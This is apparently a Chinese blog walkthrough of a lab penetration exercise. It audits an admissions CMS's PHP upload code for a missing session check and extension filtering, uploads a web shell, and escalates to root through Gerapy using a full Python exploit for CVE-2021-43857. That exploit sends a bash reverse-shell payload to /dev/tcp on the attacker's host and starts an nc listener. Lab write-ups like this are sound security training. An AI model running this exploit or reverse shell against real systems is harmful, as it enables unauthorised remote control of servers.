靶机渗透日记

已于 2022-03-02 15:06:37 修改
阅读量319 收藏
点赞数
文章标签： 安全 web安全 渗透测试
于 2022-02-02 14:00:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_47709391/article/details/122766226
版权

0x01 信息收集

  1. ip

  2. 端口

    nmap -sC -sV -p- -T4 10.35.0.119

    在这里插入图片描述

    从 Nmap 扫描中，我们看到了一个 git 远程存储库

  3. 该 cms 是一个网上录取系统,网站源码如下

    在这里插入图片描述

0x02 代码审计

  1. adminsession.php 用来检查管理员会话

    <?php

extract($_POST);

if (!isset($_SESSION[ad]))
{
        echo "<br>You are not Logged In Please Login to Access this Page<br>";
        echo "<a href=adminlogin.php>Click Here to Login</a>";
        exit();
}

?>

  2. documents.php 包含了 fileupload.php

    <?php


error_reporting(0);
session_start();

include 'fileupload.php';   
?>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title></title>
        <link type="text/css" rel="stylesheet" href="css/admform.css"></link>
        
        <link rel="stylesheet" href="bootstrap/bootstrap.min.css">
         <link rel="stylesheet" href="bootstrap/bootstrap-theme.min.css">
       <script src="bootstrap/jquery.min.js"></script>
        <script src="bootstrap/bootstrap.min.js"></script>
        
        <script type="text/javascript">
            
            function send()
            {
                if(document.getElementById('dec').checked)
                    {
                        window.location='admsnreport.php';
                        return false;
                    }
                    return true;
            }
        </script>
    </head>
    <body style="background-image:url('./images/inbg.jpg');">
        <form id="docup" enctype="multipart/form-data" name="docup" action="documents.php" method="post">
            <div class="container-fluid">    
                <div class="row">
                  <div class="col-sm-12">
                        <img src="images/cutm.jpg" width="100%" style="box-shadow: 1px 5px 14px #999999; "></img>
                  </div>
                 </div>    
             </div>
            <div class="container" style="margin-left:100px;">
            <table class="table table-striped">
                            <thead>
                                       <tr>
                                           <th >
                                       <font style=" font-family: Verdana;  font-size:19px;"> Upload Your Documents</font>
                                           </th>
                                        </tr>           
                            </thead>
                            <tbody>
                            <tr>
                                 <td>Passport Size Image :</td>
                                 <td><input type="file" id="fpic" name="fpic" ><br>
                                     </td>
                            </tr> 
                           
                             <tr>
                                <td>10th Mark Sheet :</td>
                                <td>
                                     <input type="file" id="ftndoc" name="ftndoc"><br>
                                     
                                 </td>
                             </tr>
                             
                             <tr>
                                 <td>
                                     10th Certificate :
                                 </td>
                                 <td>
                                     <input type="file" id="ftcdoc" name="ftcdoc"><br>
                                     
                                 </td>
                             </tr>
                              
                             <tr>
                                 <td>
                                     12th/Diploma Mark Sheet :
                                 </td>
                             
                            
                                 <td>
                                     <input type="file" id="fdmdoc" name="fdmdoc"><br>
                                     
                                 </td>
                             </tr>
                             <tr>
                                <td>
                                    12th/Diploma Certificate :
                                </td>
                             
                                <td><input type="file" id="fdcdoc" name="fdcdoc"><br>
                                 </td>
                             </tr>
                             
                            <tr>
                                <td>
                                    Identity Proof
                                </td>
                            
                                 <td>
                                    <input type="file" id="fide" name="fide"><br>
                                 
                                </td>
                            </tr> 
                            
                            <tr>
                                <td>
                                    Signature
                                </td>
                            
                                 <td>
                                    <input type="file" id="fsig" name="fsig"><br>
                                 
                                </td>
                            </tr>
                            
                            <tr>
                                
                                <td colspan="2"><input type="submit" id="fpicup" name="fpicup" class="toggle btn btn-primary"></td>
                            </tr>
                           
                           </tbody>
                       </table>
        </div>
            <div class="container">
              <center> <div class="jumbotron" style="width:100%; box-shadow: -3px 3px 10px #999999;   margin-top:10px;">
                      <h3>
                          <b> <font style=" font-family: Verdana;  font-size:19px;"> Declaration By The Applicant</font></b>
                      </h3>
                           <p><font style=" font-family: Verdana;font-size:medium">
                                    I hereby solemnly declare that all the particulars given in this form are true to the best of my knowledge
                                    and belief. I shall abide by the rules and regulations laid down by the College from time to time.
                                    In case the particulars furnished by me are found false, my admission stands canceled.
                          
                                </font></p>
                           
                           <input type="checkbox" id="dec" name="dec" value="I accept" onclick="send()"><font style=" font-family: Verdana;font-size:medium">
                           I accept</font>
                               
                           
                         
                  </div>
            </div>
        </form>
    </body>
</html>

    fileupload.php:

    <?php
session_start();
$sp=mysqli_connect("localhost","root","","oas");
         if($sp->connect_errno){
                echo "Error <br/>".$sp->error;
}

$picpath="studentpic/";
$docpath="studentdoc/";
$proofpath="studentproof/";
$id=$_SESSION['user'];
if(isset($_POST['fpicup']))
{
$picpath=$picpath.$_FILES['fpic']['name'];
$docpath1=$docpath.$_FILES['ftndoc']['name'];     
$docpath2=$docpath.$_FILES['ftcdoc']['name']; 
$docpath3=$docpath.$_FILES['fdmdoc']['name']; 
$docpath4=$docpath.$_FILES['fdcdoc']['name'];     
$proofpath1=$proofpath.$_FILES['fide']['name']; 
$proofpath2=$proofpath.$_FILES['fsig']['name']; 

if(move_uploaded_file($_FILES['fpic']['tmp_name'],$picpath)
  && move_uploaded_file($_FILES['ftndoc']['tmp_name'],$docpath1)
  && move_uploaded_file($_FILES['ftcdoc']['tmp_name'],$docpath2)
  && move_uploaded_file($_FILES['fdmdoc']['tmp_name'],$docpath3)
  && move_uploaded_file($_FILES['fdcdoc']['tmp_name'],$docpath4)
  && move_uploaded_file($_FILES['fide']['tmp_name'],$proofpath1)
  && move_uploaded_file($_FILES['fsig']['tmp_name'],$proofpath2))
{

$img=$_FILES['fpic']['name'];
$img1=$_FILES['ftndoc']['name'];
$img2=$_FILES['ftcdoc']['name'];
$img3=$_FILES['fdmdoc']['name'];
$img4=$_FILES['fdcdoc']['name'];
$img5=$_FILES['fide']['name'];
$img6=$_FILES['fsig']['name'];


$query="insert into t_userdoc (s_id,s_pic,s_tenmarkpic,s_tencerpic,
    s_twdmarkpic, s_twdcerpic, s_idprfpic, s_sigpic) values 
    ('$id','$img','$img1','$img2','$img3','$img4','$img5','$img6')";
        if($sp->query($query)){
     echo "Inserted to DB ";    
    }else
    {
        echo "Error <br/>".$sp->error;        
    }
}
else
{
echo "There is an error,please retry or ckeck path";
}
}
 ?>

    两个文件都没有 session 验证,并且 fileupload.php 中给出了文件上传后的路径,没有对上传文件的后缀名进行检测

0x03 漏洞利用

  1. 上传一句话,蚁剑连接 在这里插入图片描述

  2. 查看用户
    在这里插入图片描述

  3. 在 /var/www/html 目录下存在一个隐藏文件,结合上面的用户名推测是 sandra 的密码

    在这里插入图片描述

  4. ssh登录得到flag1

0x04 权限提升

  1. sudo -l

    在这里插入图片描述

    发现可以以root身份运行 gerapy

    Gerapy：是一个基于Scrapyd，Scrapyd API，Django，Vue.js搭建的分布式爬虫管理框架。

  2. 搜索发现在 0.9.8 版本之前存在远程命令执行,靶机中的版本为 0.9.6

  3. 漏洞利用

    sudo gerapy init
sudo gerapy migrate
sudo gerapy createsuperuser
sudo gerapy runserver 0.0.0.0:8888

    在这里插入图片描述

    使用创建好的用户名密码登录

    修改exp并执行执行即可返回 root

    python3 50640.py -t 10.35.0.119 -p 8888 -L 10.17.0.249 -P 4444

    在这里插入图片描述

    #!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43857")
print(banner)
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport

	def exploitation(self):
		payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""

		#Login to the app (getting auth token)
		url = "http://" + target_ip + ":" + target_port
		r = requests.Session()
		print("[*] Resolving URL...")
		r1 = r.get(url)
		time.sleep(3)
		print("[*] Logging in to application...")
		r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
		time.sleep(3)
		if (r2.status_code == 200):
			print('[*] Login successful! Proceeding...')
		else:
			print('[*] Something went wrong!')
			quit()

		#Create a header out of auth token (yep, it's bad as it looks)
		dict = json.loads(r2.text)
		temp_token = 'Token '
		temp_token2 = json.dumps(dict['token']).strip('"')
		auth_token = {}
		auth_token['Authorization'] = temp_token + temp_token2

		#Get the project list
		print("[*] Getting the project list")
		r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)
		time.sleep(3)

		if (r3.status_code != 200):
			print("[!] Something went wrong! Maybe the token is corrupted?")
			quit();

		#Parse the project name for a request (yep, it's worse than earlier)
		dict = r3.text # [{'name': 'test'}]
		dict2 = json.dumps(dict)
		dict3 = json.loads(dict2)
		dict3 = json.loads(dict3)
		name = dict3[0]['name']
		print("[*] Found project: " + name)

		#use the id to check the project
		print("[*] Getting the ID of the project to build the URL")
		r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
		time.sleep(3)
		if (r4.status_code != 200):
			print("[*] Something went wrong! I can't reach the found project!")
			quit();

		#format the json to dict
		dict = r4.text
		dict2 = json.dumps(dict)
		dict3 = json.loads(dict2)
		dict3 = json.loads(dict3)
		id = dict3['id']
		print("[*] Found ID of the project: ", id)
		time.sleep(1)

		#netcat listener
		print("[*] Setting up a netcat listener")
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
		time.sleep(3)

		#exec the payload
		print("[*] Executing reverse shell payload")
		print("[*] Watchout for shell! :)")
		r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
		listener.wait()

		if (r5.status_code == 200):
			print("[*] It worked!")
			listener.wait()
		else:
			print("[!] Something went wrong!")
			listener.terminate()

def get_args():
	parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
	parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
	parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
	args = parser.parse_args()
	return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()
# .
关注
靶机渗透SickOs1.2（非常详细，适合新手渗透）
君莫hacker的博客
09-08 7265
靶机HACKME:2的目录0x01靶机描述 0x01靶机描述 靶机基本信息： 链接 https://www.vulnhub.com/entry/sickos-12,144/ 作者 D4rk 发布日期 2016年4月27日 难度 中等 靶机基本介绍： 这是SickOs后续系列中的第二个，独立于以前的版本，挑战的范围是在系统上获得最高权限。 ...
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
靶机渗透日记 messages
Anonymous
02-26 385
IP 端口 访问 80 端口 两个功能点，一个是 chatbot ，一个是 Webmail 对这两部分进行目录扫描 发现在 /chatbot 目录下存在 后台登陆页面 寻找源码，关键字 Simple ChatBot Application 得到后台的默认密码，成功访问 登录到后台发现可以上传头像，上传一个 webshell ，这里上传一句话发现怎么都无法连接，并且我只能上传到 user_avatar ，上传到 bot_avatar 上会变成 jsp 后缀文件 在 /h..
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
Spring Boot视频网站：安全与可扩展性设计
2401_85702623的博客
10-16 1034
本次程序开发选用的数据库管理工具是MySQL数据管理工具，使用它存放数据也需要创建程序对应的数据库文件，并命名刚创建的数据库文件，有了数据库也需要创建各种数据表来充实数据库，在数据表的创建中，不仅需要对数据表命名，也需要对数据表的字段进行设计，包括每个数据表里面需要设置的字段名称，字段对应的数据类型信息，字段的主键设置这个也是不可缺少的，因为每个数据表里面的主键就是标记着这个数据表跟其他数据表相区分的唯一标志。addtime timestamp 否 CURRENT_TIMESTAMP 创建时间。
【分布式微服务云原生】《虚拟服务器之暗面：性能损耗、噪音邻居与安全隐私挑战全解析》
Dylaniou的博客
10-13 1177
本文深入探讨虚拟服务器在带来诸多便利的同时，所面临的性能损耗、噪音邻居以及安全隐私问题。读者将全面了解这些问题的具体表现、产生原因以及应对措施，从而更好地管理和使用虚拟服务器，提升其性能与安全性。
常见的内网渗透思路及方法（包含示例）
xixixi7777的博客
10-11 1211
内网渗透是指在企业或组织的内部网络中进行安全测试，以发现和利用网络中的安全漏洞。
赏金猎人 | 挖掘TP-Link 服务中的信息泄露漏洞
zkaq7777777的博客
10-15 784
作为一名专注于安全研究的人员，我经常利用空闲时间探索漏洞奖励计划的世界。尽管传统平台提供了不少有价值的机会，我也会将调查扩展到一些知名厂商的公开系统上。最近，我在一个 TP-Link 的子域上发现了一个重大安全问题，该漏洞暴露了包含明文密码的敏感用户信息。img在问题上报给 TP-Link 后，适当的安全措施已在发布前采取。以下所有信息均已适当处理，以维护保密性并遵守道德标准。
【Linux 从基础到进阶】AppArmor 安全模块应用指南
weixin_39372311的博客
10-14 874
可以为系统中的任意应用创建自定义的 AppArmor profile。假设要为一个自定义应用myapp创建 profile，首先创建一个空文件# 允许访问的文件和目录 /usr/bin/myapp r,/var/log/myapp/** rw, # 允许网络访问 network inet tcp, }
智慧供排水管网在线监测为城市安全保驾护航
weixin_48039531的博客
10-16 968
城市供排水管口以及关键交汇口部署监测站（水位计、流量计、流速仪、压力计等)，接入水文水利网关(RTU)，实时采集水位、流量、流速、水压等数据并通过5G/4G或光纤网络远程传送至排水管理部门平台，实现远程监控、超限告警、设备定位等功能，管理人员可以随时了解城区各区域排水管网运行状态并解决漏损问题，既满足供排水管网日差巡查的管理需求，系统组成城市供排管网监测系统总体架构由感知层、传输层、数据层、服务层、应用层以及标准规范和运行保障体系组成。通过确保数据的准确性和时效性，为后续的数据分析和决策提供可靠的基础。
天锐绿盾VS Ping32数据安全新选择，用户体验分享
最新发布
weixin_44264342的博客
10-16 424
而Ping32则以其创新的技术和灵活的功能配置，尤其受到技术爱好者和大型企业的青睐。在网络安全的选择上，用户应根据自身的实际需求和技术水平，选择最合适的安全软件，为数字生活提供可靠的保护。相比之下，Ping32虽然功能丰富，但由于其灵活的设置选项，对于一些初学者来说，可能需要一定的时间来熟悉和掌握，同时支持专业的技术团队讲解。尽管如此，Ping32的高级功能能够为有经验的用户提供更高的自定义自由度。在操作便捷性上，天锐绿盾的界面设计简洁直观，用户可以轻松完成各项设置，几乎无需任何技术背景就能顺利使用。
联名物料常泄漏？一端叠满“安全buff”
Eaglecloud的博客
10-16 631
然而，在这场品牌间的创意盛宴中，偶尔会上演一出“谁是卧底”的戏码，联名产品的信息提前被泄露、设计创意和宣传策略被友商获取、宣传物料"偷跑"的情况时有发生。未来，亿格云枢支持在同一平台中扩展安全功能，打造全面的办公安全防护体系，给予用户最优的办公体验！涉及联名项目的合作方、第三方MCN机构的人员难以统一纳入管理，一旦泄密情况发生，往往需要耗费大量时间和资源去逐个排查可疑的泄密人员。也为办公安全领域带来了”新风潮“，突破旧有的防护框架，提供更全面的保护方式，满足数字化转型企业的多样安全需求。
DNS安全检测与防护策略
2401_87146039的博客
10-16 618
利用在线的DNS解析检测工具（如IP数据云等）或编程语言中的DNS解析库（如Python的dnspython库）进行检测，这些工具或库可以提供详细的解析信息，如TTL值、解析记录类型等。主动检测是通过向目标服务器发送构造的特殊报文，分析服务器的响应，从而获取DNS服务器的背景信息，确定其是否存在实现漏洞或配置漏洞。DNS在互联网基础服务中，负责将域名转换为IP地址，但是随网络的演变，DNS系统面临安全方面的威胁也有增多，比如。因此，通过DNS安全检测，及时发现并修复安全漏洞，是一种保障网络安全的重要手段。
ozon测评安全攻略：自养号技巧
l_e0120的博客
10-16 531
搭建稳定的物理环境，模拟俄罗斯当地真实的底层硬件参数数据，包括安全码、地区码、监管码、IMEI序列号、物理MAC地址等，以确保设备的稳定性，避免平台因设备异常而进行的检测。：在测评过程中，应模拟真实买家的购买流程，包括搜索关键词、货比三家、重点浏览产品、下单购买等步骤。综上所述，通过搭建安全的测评环境、准备真实的注册资料、遵循合规的测评流程以及持续优化测评策略等措施，商家可以在OZON平台上进行更安全、更有效的测评操作。：包括邮箱、收货地址、手机号等，确保账号的合规性和可信度。这些资料应为一手资源。
等保测评中的安全培训与意识提升
2301_79955948的博客
10-16 420
在等保测评中，安全培训与意识提升是非常重要的环节。安全规定培训：通过培训，让员工了解和遵守安全规定，如安全管理制度、安全操作规程等，从而提高企业的安全管理水平。安全文化建设：通过培训，让员工了解和认同企业的安全文化，从而形成良好的安全氛围，提高企业的安全管理水平。安全技能培训：通过培训，让员工掌握安全技能，如安全操作、应急处理等，从而提高员工的安全能力。安全文化评估：通过安全文化评估员工的安全意识和认同感，从而评估安全培训的效果。考试评估：通过考试评估员工的安全知识和技能掌握情况，从而评估安全培训的效果。
防范数据泄露，守护安全存储新时代
A19911511842的博客
10-16 330
这就是文盾安全NAS，国内第一个软硬件全国产化数据安全管理平台，为你的数据提供一个安全、私密、永久的家。平台建立一个全方位的数据安全管控体系，集文件管理、文件加密、端口与存储设备管理、外发管控、水印溯源、加密文件内部授权、外发审计安全、内外网交互安全于一体，让内部文件统一交互无感知，外部交互无障碍提高企业内部的有效运转，全方位立体式保护企业核心数据不外泄，为数据整个应用过程提供保护。平台提供基于文档的统一分类、检索、备份、管理、协作、共享等服务，实现文档跨部门、团队、系统的协同、利用与流转。
hackbox靶机渗透
10-15
好的，关于hackbox靶机渗透，我可以提供一些基本的信息和建议。首先，hackbox是一个虚拟机靶机，可以用于练习渗透测试技能。在渗透测试过程中，需要进行信息收集、漏洞扫描、漏洞利用等步骤。以下是一些可能有用的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值